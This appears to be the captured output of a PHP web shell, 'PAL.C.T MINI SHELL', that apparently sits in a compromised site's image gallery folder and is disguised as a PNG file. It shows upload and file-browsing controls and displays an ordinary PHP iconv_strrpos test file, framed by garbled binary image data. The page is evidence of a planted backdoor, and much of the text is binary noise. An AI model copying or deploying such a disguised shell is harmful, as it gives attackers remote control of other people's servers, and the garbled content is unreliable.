php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/opt/php-7.0.1/ext/iconv/tests/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/opt/php-7.0.1/ext/iconv/tests/iconv_strrpos.phpt

--TEST--
iconv_strrpos()
--SKIPIF--
<?php extension_loaded('iconv') or die('skip iconv extension is not available'); ?>
--INI--
iconv.internal_charset=ISO-8859-1
--FILE--
<?php
function my_error_handler($errno, $errmsg, $filename, $linenum, $vars)
{
	echo "$errno: $errmsg\n";
}
set_error_handler('my_error_handler');
function foo($haystk, $needle, $to_charset = false, $from_charset = false)
{
	if ($from_charset !== false) {
		$haystk = iconv($from_charset, $to_charset, $haystk);
	}
	if ($to_charset !== false) {
		var_dump(iconv_strlen($haystk, $to_charset));
		var_dump(iconv_strrpos($haystk, $needle, $to_charset));
	} else {
		var_dump(iconv_strlen($haystk));
		var_dump(iconv_strrpos($haystk, $needle));
	}
}
foo("abecdbcdabcdef", "bcd");
foo(str_repeat("abcab", 60)."abcdb".str_repeat("adabc", 60), "abcd");
foo(str_repeat("", 30)."".str_repeat("", 30), "", "EUC-JP");

for ($i = 0; $i <=6; ++$i) {
	$str = str_repeat("", 60).str_repeat('$', $i).str_repeat("", 60);
	foo($str, '$', "ISO-2022-JP", "EUC-JP");
}

var_dump(iconv_strrpos("string", ""));
var_dump(iconv_strrpos("", "string"));

?>
--EXPECT--
int(14)
int(9)
int(605)
int(300)
int(305)
int(151)
int(600)
bool(false)
int(601)
int(300)
int(602)
int(301)
int(603)
int(302)
int(604)
int(303)
int(605)
int(304)
int(606)
int(305)
bool(false)
bool(false)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`